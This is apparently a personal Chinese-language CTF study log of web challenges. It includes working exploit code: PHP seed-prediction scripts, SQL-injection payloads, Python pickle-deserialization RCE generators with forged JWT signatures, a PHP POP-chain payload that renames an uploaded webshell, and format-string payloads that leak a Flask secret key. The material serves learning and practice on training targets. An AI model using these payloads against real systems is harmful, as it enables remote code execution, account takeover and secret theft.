Guess(未完成)
2024/03/17 14:42
初步看了下并没有发现文件上传后的路径,扫了下目录页没有什么有价值的东西,但是发现这个?page=upload应该是文件包含,应该我尝试包含index确实是可以的
使用php伪协议包含一下读出源码
将upload.php下载下来进行审计
生成的文件路径都是随机的看不出哪里有问题,还是看看大佬的wp
参考文章:https://www.cnblogs.com/HexNy0a/articles/16813072.html#
wp的思路就是暴力猜解文件名,首先分析一下文件名的路径的构成
$filename = './uP1O4Ds/' . random_str() . '_' . $_FILES['file-upload-field']['name'];
也就说如爆破出random_str()就可以访问到这个图片,但是这里还有一个问题怎么将他解析为php。先研究怎么爆破文件名。
random_str()
这里的重点在于mt_rand(),count($set)就是数组的长度,意思就是从数组中随机取一个字符,去看
mt_rand()是怎么随机的
简单解释一下这东西,平时语言中内置的rand()函数一般是伪随机不是真的随机,真的随机必须要有一个随机数种子,一般是将当前的时间作为种子这样设置之后的随机数就是随机的。这里的种子$seed是从0到999999999取的一个数,然后利用这个种子生成了一个第一个随机数$ss,并且利用这个随机数生成了cookie
所以可以通过将sessionid=空 服务器重新发送一个cookie,这个cookie的值就是MD5($ss),我们就可以逆推出在这个范围内的所有的加密值去碰撞出$ss
2024/05/17 20:35 当时做的时候有点什么问题今天继续做一下
MD5解密后 2112799777
$ss=2112799777
使用工具php_mt_seed - PHP mt_rand() seed cracker 破解种子
下载那个4.0版本的,要使用Linux系统,解压后make编译一下报错了没有问题
然后利用源代码去生成对应的路径
这里我失败了,大致就是直接尝试上传zip压缩包,使用zip伪协议配置文件包含解析php,也可以使用phar协议。
创建一个shell.txt文件里面写上一句话木马然后压缩为zip在修改后缀为jpg然后抓包修改session为k空值,官方的wp是这样做的,然后获取响应的session去MD5解密
然后丢到种子碰撞器去碰撞,再使用一个逆向的脚本构造上传的路径,这个就是根据源码来的。
<?php
$arr = array(946401353,1756830850,2669386530,3471909944);
foreach($arr as $a) {
mt_srand($a);
$set = array("a", "A", "b", "B", "c", "C", "d", "D", "e", "E", "f", "F",
"g", "G", "h", "H", "i", "I", "j", "J", "k", "K", "l", "L",
"m", "M", "n", "N", "o", "O", "p", "P", "q", "Q", "r", "R",
"s", "S", "t", "T", "u", "U", "v", "V", "w", "W", "x", "X",
"y", "Y", "z", "Z", "1", "2", "3", "4", "5", "6", "7", "8", "9");
$str = '';
$ss = mt_rand(); // 这一步必须加上,否则与服务器端的随机值对应不上
for ($i = 1; $i <= 32; ++$i) {
$ch = mt_rand(0, count($set) - 1);
$str .= $set[$ch];
}
echo 'http://111.198.29.45:31396/uP1O4Ds/' . $str . '_shell.jpg' ."\n\r";
}
?>
上面那里填的就是爆破出来的种子值。运行后会生成出文件上传的地址然后去访问如果访问到了文件就成功了,可惜这里我试了好多次上传的好几次文件去碰撞都没有访问到存在的文件。。。很可惜没有做出来,不过通过这个题目了解了伪随机数种子还是很有收获的。
Router(未完成)
2024/03/18 16:20
此题需要使用ida去逆向,这方面我当时不怎么了解没做出来
easylaravel(未完成)
2024/03/19 22:43
看题目的描述什么blade + pop chain又是知识盲区了。。。
进入看了一下源码提示了源码可以下载的地址
将源码下载后又摸了一下网站没有其他的什么内容了估计要审计代码了
参考文章:护网杯easy laravel ——Web菜鸡的详细复盘学习-腾讯云开发者社区-腾讯云
参考文章:护网杯-easy laravel-Writeup | venenof7's blog
文件的整体路由是web.php文件
看看如何才能获取到flag
这里用的是laravel框架,很多写法都是这个框架的专有写法看的挺懵逼的,这里的middleware()就是认证用户是admin的功能,如果登录的用户是admin就可以进入flag页面所以我们要想办法变成admin。在 Laravel 中,中间件(Middleware)提供了一种方便的方法来过滤 HTTP 请求,执行诸如认证、授权、记录日志、处理 JSON 响应等任务。中间件本质上是请求的拦截器,可以在请求到达路由处理函数之前或之后执行代码。
是否是管理员登录他只认证了邮箱号
我们可以在这个文件里面找管理员的登录信息,可以看到密码是随机的40位数。
同时注册的页面也限制了无法注册重复的已有的邮箱号,这是这个框架特有的写法
存在SQL注入
这个功能功能点是note的那个功能点,也就是访问note页面的时候会将用户名拼接进去去查询
然后有一个接口
这个表的说明有一个重置密码的功能这是他的数据操作
但是我没有找到路由点在哪里。。。
在尝试1'order by 6--+的时候报错了说明一共有5个列
回显位是2
test' union select 1,(select token from password_resets where email='admin@qvq.im'),3,4,5--+
很可惜,这里估计是删除了这种做法,确实我没有找到可以重置密码的路由地址。。。
然后发现访问了flag也拿不到flag。。。
解法一:
既然如此还是看看正确的解法吧
wc我就说怎么好像少了点什么,需要先安装相关包的依赖然后才会得到完整的源码。。。
怎么网络会有问题我挂了梯子的。。。
顺便记录一下这里的这个框架的下载过程。
首先是要下载composer这个东西,一开始在网上找相关的资料搞半天没搞好还好当时是在虚拟机里面搞的,其实小p里面就有
下载完后添加一下环境变量,先找到下载的包的目录
然后添加到环境变量中
这个时候cmd输入composer 会有显示,相当于安装好了
然后到修改一下阿里云的镜像源
composer config -g repo.packagist composer https://mirrors.aliyun.com/composer/
附上取消配置的命令
composer config -g --unset repos.packagist
然后到项目去,就是有composer.json的那个
cmd输入 composer install
然后就会开始下载很多的东西,下载完应该就可以了,目录里面会多出一个composer.lock
看了好几个wp,这个框架有好几个pop链可以打,要理解还是挺不容易
Laravel 5.8 RCE POP链汇总分析-安全客 - 安全资讯平台
正常来说前面那里应该是可以伪造为admin用户的,然后应该会有提示使用的是apache还是nginx,后面构造路径的时候需要知道是那种,不过也也可以都试一试
不对,必须要登录为admin用户拿到token才可以,后面的pop链的作用是删除了一个blade文件刷新flag文件,但是访问flag还是需要admin的身份才可以。
又尝试了上面的token获取发现获取失败,应该不是SQL语句的问题,尝试清楚了缓存重新获取也没有成功
后门的思路讲一下,通过文件上传点上传zip压缩包配合phar协议打一波反序列化触发pop链执行某个类中的unlink删除缓存文件将flag渲染出来,然后通过admin的身份就可以访问到真实渲染出来的flag文件了。
这里使用phar文件是因为这个file_exists正好就是会触发这个协议的函数。
phar协议讲解:phar反序列化+两道CTF例题_ctf phar-CSDN博客
biscuiti-300
有附件可以下载,看了一下有源码。
先在页面上面摸一下,一个登录框尝试SQL注入顺便扫描一下目录
目录扫描到两个
就是附件里面的东西,基本就是代码审计了
找到flag的地方
也就是要求登录者为admin才可以
看了一下整体的代码,应该是存在SQL注入,PDO的写法是有预编译但是这里没有使用。但是使用sqlmap跑了一下没有反应
看了一下wp,确实是SQL注入,但是这里SQL注入只是其中一环,实在是太精彩了。看到padding oracle attack 让我想到了shiro550
参考:ctf-wp/2016/seccon/WEB/biscuiti at master · ssst0n3/ctf-wp · GitHub
文章写的太好了,这道题需要对加解密的比较熟悉,看那个CBC看的汗流浃背
简单讲一下整体的一个思路
首先是代码中要获取flag的条件就是要是isadmin=1,这里有两种方式进行验证,一个是账号密码,另一个是如果没有账号密码通过cookie进行判断,但是一开始我们是没有cookie的也不知道cookie是什么样,第一个利用点就是SQL注入配合==弱比较。
这里通过SQL注入使用联合查询语句 username=' union select 'username', '
查出来的结果里面没有password,下面这段代码中$password=false $input传入的就是一个空值,弱比较返回为true
返回为true就会赋值一个cookie给我们
a:2:{s:4:"name";s:8:"username";s:7:"isadmin";N;}\xffƲ\xea\xe9\xf9\xa5\xe6^\xe3\xd6\xc8\xc5\xc8\xc3I
目的就是伪造这个形成isadmin;1
这后面的就是想办法通过padding oracle攻击得到密文,然后伪造cookie获取flag。
附带的exp是使用python2写的
我只能说大佬的脚本666,我就是脚本小子
题目名称-ezsqli
看到没有一个人做出来了这道题?
进去就是一个登录框
直接sqlmap注入启动
注入失败尝试手工注入。。。
我这里直接使用sqlmap跑了一遍,可以跑出数据库和表名,但是无法取出里面的值
属于无列名注入
参考:https://www.cnblogs.com/20175211lyz/p/12358725.html
') AND (updatexml(1,concat(0x7e,(SUBSTRING((select `1` from (select 1 union select * from flag) a limit 1,1), 起始位置, 取多少个))),0)) AND ('UZbe'='UZbe
取出,但是放进去显示不正确
flag{c7651cb673c911ee8f9977094a220f17}
我感觉这个0人完成是个骗局。。。不过网上确实找不到相关的wp,只有类似的题目,另外里面的那个邮箱号好像是sqli的那个靶场里面的邮箱。感觉怪怪的,不知道葫芦里卖的什么药
官方:
这个过滤器不是php伪协议的打法吗,但是这里我怎么没看到有这个注入点。其他人的也都是sqlmap一把梭没有正确的答案。。。
另外那个flag中的列名是flag_that_you_find_must_be_me
Confusion2
题目给了一些提示
然后看到注册页面和登录页面都有一个verify通过md5后截取要等于一个值才可以注册。
这一题光是这个vertify就要花好长的时间
我感觉不是这样做的,还是先看看wp
原来这题是延续1的,提示不给全。。。
使用1的SSTI读取/opt/salt_b420e8cfb8862548e68459ae1d37a1d5.txt文件内容,不过这里的环境已经没有SSTI了
那就直接用wp的结果_Y0uW1llN3verKn0w1t_
搞半天还是得碰撞出结果再注册。。。
我习惯用python
import hashlib
i = 0
while True:
md5_hash = hashlib.md5(str(i).encode()).hexdigest()
if md5_hash.startswith('8e3987'):
print(i)
break
i += 1
注册一个admin admin
然后登录进去看看
进来看看有什么东西没,源码里面什么东西都没有,最后考虑登录页面的SQL注入,太耗时间了。
抓包发现token有点像jwt,经典两个点,解析看看什么东西
解析看看
O:4:"User":2:{s:9:"user_data";s:57:"(lp1\nVadmin\np2\naS'21232f297a57a5a743894a0e4a801fc3'\np3\na.
这个一眼看去应该是php的序列化字符串,但是里面这个
(lp1\nVadmin\np2\naS'21232f297a57a5a743894a0e4a801fc3'\np3\na.
应该是
(lp1
Vadmin
p2
aS'21232f297a57a5a743894a0e4a801fc3'
p3
a.
很熟悉这不是pickle的写法吗,
简单反序列化一下
import pickle
# 您提供的序列化数据字符串
serialized_data = "(lp1\nVadmin\np2\naS'21232f297a57a5a743894a0e4a801fc3'\np3\na."
# 将序列化数据转换为字节序列
serialized_data_bytes = serialized_data.encode()
# 反序列化数据
try:
user_object = pickle.loads(serialized_data_bytes)
print(user_object)
except pickle.UnpicklingError as e:
print("无法反序列化数据:", e)
嗯,后面的思路基本是替换这个地方换为发序列化执行命令的reduce,不过我看了好几个wp,他们都是使用的commands.getoutput,这是老版本的写法,新版没有这个写法。。。在python3.5后废弃。
commands.getoutput这个的用法应该是讲执行的结果获取到。
import pickle
import commands
import json
class hack(object):
def __reduce__(self):
return (commands.getoutput, ('ls', ))
payload = pickle.dumps([hack(),hack()])#这里有两个是因为原本就要传两个值来着。
data = json.dumps('O:4:"User":2:{s:9:"user_data";s:%d:"%s";}' % (len(payload), payload))[1:-1]
print '{"data":"%s"}' %( data )
# 注意结果需要BASE64编码!
# 结果 {"data":"O:4:\"User\":2:{s:9:\"user_data\";s:59:\"(lp0\nccommands\ngetoutput\np1\n(S'ls'\np2\ntp3\nRp4\nag1\ng3\nRp5\na.\";}"}
# BASE64:eyJkYXRhIjoiTzo0OlwiVXNlclwiOjI6e3M6OTpcInVzZXJfZGF0YVwiO3M6NTk6XCIobHAwXG5jY29tbWFuZHNcbmdldG91dHB1dFxucDFcbihTJ2xzJ1xucDJcbnRwM1xuUnA0XG5hZzFcbmczXG5ScDVcbmEuXCI7fSJ9
接下里就是添加签名,题目一开始就提示了,然后前面也把salt拿到了,在前一关_Y0uW1llN3verKn0w1t_
import hashlib
def Get_sign(header,payload,salt):
return hashlib.sha256(header+'.'+payload+salt).hexdigest()
print Get_sign('eyJ0eXAiOiJKV1QiLCJhbGciOiJzaGEyNTYiLCJraWQiOiIxIn0',
'eyJkYXRhIjoiTzo0OlwiVXNlclwiOjI6e3M6OTpcInVzZXJfZGF0YVwiO3M6NTk6XCIobHAwXG5jY29tbWFuZHNcbmdldG91dHB1dFxucDFcbihTJ2xzJ1xucDJcbnRwM1xuUnA0XG5hZzFcbmczXG5ScDVcbmEuXCI7fSJ9',
'_Y0uW1llN3verKn0w1t_')
# 把0001中LS命令PAYLOAD编码后的值拖到第二个参数里
# 签名结果:08a2ca6809f0c91db71a0bb56444274680b52a64ea9917f2592c9e4d39997a40
#BASE64结果:MDhhMmNhNjgwOWYwYzkxZGI3MWEwYmI1NjQ0NDI3NDY4MGI1MmE2NGVhOTkxN2YyNTkyYzllNGQzOTk5N2E0MA
最后补全eyJ0eXAiOiJKV1QiLCJhbGciOiJzaGEyNTYiLCJraWQiOiIxIn0.eyJkYXRhIjoiTzo0OlwiVXNlclwiOjI6e3M6OTpcInVzZXJfZGF0YVwiO3M6NTk6XCIobHAwXG5jY29tbWFuZHNcbmdldG91dHB1dFxucDFcbihTJ2xzJ1xucDJcbnRwM1xuUnA0XG5hZzFcbmczXG5ScDVcbmEuXCI7fSJ9.MDhhMmNhNjgwOWYwYzkxZGI3MWEwYmI1NjQ0NDI3NDY4MGI1MmE2NGVhOTkxN2YyNTkyYzllNGQzOTk5N2E0MA
最终简化版
# @ Martin
import pickle
import commands
import json
import hashlib
import base64
CMD = 'ls /opt'
def Get_sign(header,payload,salt):
return hashlib.sha256(header+'.'+payload+salt).hexdigest()
def base64_url_encode(text):
return base64.b64encode(text).replace('+', '-').replace('/', '_').replace('=', '')
class hack(object):
def __reduce__(self):
return (commands.getoutput, (CMD, ))
salt='_Y0uW1llN3verKn0w1t_'
header = 'eyJ0eXAiOiJKV1QiLCJhbGciOiJzaGEyNTYiLCJraWQiOiIxIn0' # base64
payload = pickle.dumps([hack(),hack()])
payload_data = json.dumps('O:4:"User":2:{s:9:"user_data";s:%d:"%s";}' % (len(payload), payload))[1:-1]
payload = base64_url_encode('{"data":"%s"}' %( payload_data )) # base64
signature = base64_url_encode(Get_sign(header,payload,salt)) # base64
print header+'.'+payload+'.'+signature
payload:eyJ0eXAiOiJKV1QiLCJhbGciOiJzaGEyNTYiLCJraWQiOiIxIn0.eyJkYXRhIjoiTzo0OlwiVXNlclwiOjI6e3M6OTpcInVzZXJfZGF0YVwiO3M6MTEyOlwiKGxwMFxuY2NvbW1hbmRzXG5nZXRvdXRwdXRcbnAxXG4oUyd0YWMgL29wdC9mbGFnXzczZWU3ZmQ2YzI0MjYwNmM3YTVhMzk1MGIxOTZkOTJhLnR4dCdcbnAyXG50cDNcblJwNFxuYWcxXG4oZzJcbnRwNVxuUnA2XG5hLlwiO30ifQ.OGM1YThjYmIzNGViOGY1OTQ3NTNhMjg3YTc0ZmU2MzBhNzQ1N2ViYjRmMzhhYWJkZjM2MzAwNzA0YjE4NDU0MA
weiphp
登录进去就只有一个登录框
没有注册功能,访问register提示注册已关闭,但是我的插件扫到了js.map泄露但是里面啥也没有。。。
没有一点思路。。。一个注册框没有其他功能点了,js代码看了一下没翻出什么东西
这个验证码是怎么回事,怎么一直错误,我就输入对过一次。。。
没思路,扫一下他的目录,但是要在weiphp/下面扫,发现了git泄露
但是用githack扫了一下发现没有下载到源码什么情况???确实有点问题,下载不下来不知道为什么,然后去看了看wp,这道题确实是cms的代码审计的题目,然后发现这道题被日穿,各种漏洞都被挖掘出来了。。。
攻防世界 web高手进阶区 10分题 weiphp_攻防世界 weiphp-CSDN博客
https://www.cnblogs.com/Zhu013/p/12726938.html
前台SQL注入,文件上传,ssrf
随便用了个ssrf
title="cyberpeace{7cf581b26f285766413a7334ec9cd778}
主要是下载不下来源码,我也不知道为什么下载不了我还是想复现一下的跟着wp。
笑死
官方也是笑死
upload3
尝试一下登录发现需要什么邮箱,猜邮箱就比较困难了,注册了一个账号发现试thinkphp的框架,不知道会不会存在漏洞,那工具跑了一下没有什么东西。
跑了一下目录跑出了.htaccess robots.txt www.tar.gz都看一看,估计是代码审计了
.htaccess 文件内容:
<IfModule mod_rewrite.c>
Options +FollowSymlinks -Multiviews
RewriteEngine On
RewriteCond %{REQUEST_FILENAME} !-d
RewriteCond %{REQUEST_FILENAME} !-f
RewriteRule ^(.*)$ index.php/$1 [QSA,PT,L]
</IfModule>
没什么卵用就是全部重定向到index.php
抓个包分析一下,发现session好像base64编码了,看一看,解码是一段序列化的内容,难道是反序列化
看了代码后缀名绕过应该不可以,代码里直接拼接一个.png,除非有服务器解析漏洞
源码分析完了逻辑看了个大概懂,但是不确定是哪里有问题,这种大框架的mvc源码比较难分析对于目前的我来 说是这样的。
开始一段一段的分析
首先是第一次login会进入会进入application/web//controller/login.php
然后此类中的&checker会被赋予一个index.php中的index对象
在login函数里面调用了index.php中的login_check()
去看看login_check()做了什么,这里做了一个反序列化的操作,正是将我们cookie的那个字符串给反序列化了,也就是$this->profile是一个类的对象
上传文件是访问的是upload看route.php其实就是访问的profile/upload_img函数
那就直接看上传文件的函数,在profile.php中
首先这个类中的checker也是一个index()对象
在访问的upload_img()中也调用了login_check()也就是也进行了一次反序列化$this->checker->login_check()
在upload_img()函数中一个是本来的名字filename_tmp一个是将名字MD5后并且强行加上.png的filename,调用了ext_chexk()函数检测后缀是不是图片的,如果不是就讲这个fialname作为文件的名字也就是.png结尾的文件,所以这里后缀名绕过就失效了
后面的看wp没看太懂,为什么register.php中的destruct会触发profile的call然后又触发get
可以通过修改registed使其执行,然后修改checker使$this->checker->index();为$this->checker->profile();
研究一下payload
<?php
namespace app\web\controller; //因为reg和pro都是继承这个控制器
class Register{
public $checker;
public $registed;
}
class Profile{
public $checker;
public $filename_tmp;
public $filename;
public $upload_menu;
public $ext;
public $img;
public $except;
}
$pd=new Register();
$pd->registed=0;
$pd->checker=new Profile();
$pd->checker->except=array('index'=>'upload_img');
$pd->checker->ext=123;
$pd->checker->filename_tmp="./upload/12ccaf83976d574edc03b0f6b4f60553/c81a05a809a7092fec98ae3c0b849eda.png"; //你上传的路径
$pd->checker->filename="./1.php";
echo base64_encode(serialize($pd));
?>
它这里面讲$pd->checker=new Profile();
原本register.php中的checker是new index()类的这里替换了,于是$this->checker->index();找不到index()函数,就会触发__call():在对象上下文中调用不可访问的方法时触发
call读取了不存在的方法,同时没有传入属性,就相当于访问没有的属性于是就触发了__get():读取不可访问属性的值时触发,不可访问包含私有属性或未定义
payload里面$pd->checker->except=array('index'=>'upload_img'); 也就是说是一个数组,get做了一件事情就是取出index对应的值赋予this->except = upload_img 也就是说饶了一大圈最后触发了upload_img函数
触发了upload_img()同时又没有上传文件就会直接跳到文件名覆盖的地方同时在序列化的类中我们自定义了文件名就实现了替换为我们想要的文件名的效果
新注册一个账号然后上传一句话木马,加个图片头
记住文件名:../upload/9d99f37182f36362e23ca4c98427a161/f74d746bc606c4dced6bf841f7013d1f.png
然后使用payload的构造user=
然后抓一个register的数据包
这个时候就访问不到原图片了以及被改名为1.php了
flag{86ab5615416e4c3ca5939d5a6ce75cfd}
2024/03/14 20:48
进入就是一个登录页面,尝试了一下发现存在admin,看了一下这个网站好像有php也有python
爆破一下密码意思意思
尝试注册一个admin'# 然后提示不可以有特殊字符,连爆破的时候里面有特殊字符的都失效了
注册一个进来了然后就使用一个简单的页面没有任何功能
简单跑了下目录发现存在flag访问
那就看看session
看到是jwt格式去解码一下
好像这个jwt有点什么问题
先试一下能不能用工具把密钥爆破出来,好像出不来。。。主要是这个jwt好像有点问题,没什么思路还是看看wp吧
。。。邮箱位置有SQL注入。。。
是个布尔盲注,而且很恶心的是一旦页面正常返回就需要修改name换成新的,所以要自己写脚本,太麻烦了直接用wp的结果h4ck4fun
admin的jwt还是有点什么问题,然后看到admin这里有一个修改邮箱的功能
本来以为会是SSTI然后并不是,是format字符串格式化漏洞
在c语言里面也有这种漏洞,在Python 里面也出现了格式化字符串漏洞
去网上找点相关的资料了解一下
文章:flask session 安全问题 和 python 格式化字符串漏洞_urlsafetimedserializer.dumps-CSDN博客
现在在flask框架中出现的问题出了SSTI还需要关注格式化字符串的问题了
通过获取环境中的属性变量然后去一点一点的挖出敏感信息
和SSTI有点像但是原理不同
主要语句:{user.__class__.__init__.__globals__}
爆出当前用户的当前用户的命名空间字典
{user.class.init.globals[current_app].config}
获取到配置字典
也是找到了'secret_key':243918c375f39ee6a048f2cb9480b3f4
使用脚本重新生成一个新的session
这个脚本前面的题目也用到过时github上面下载的
这个数据里面的()或者是[]包裹都是没有问题的,都可以拿到flag,替换一下session就可以了
通过这道题也是学习到了格式化字符串的做法!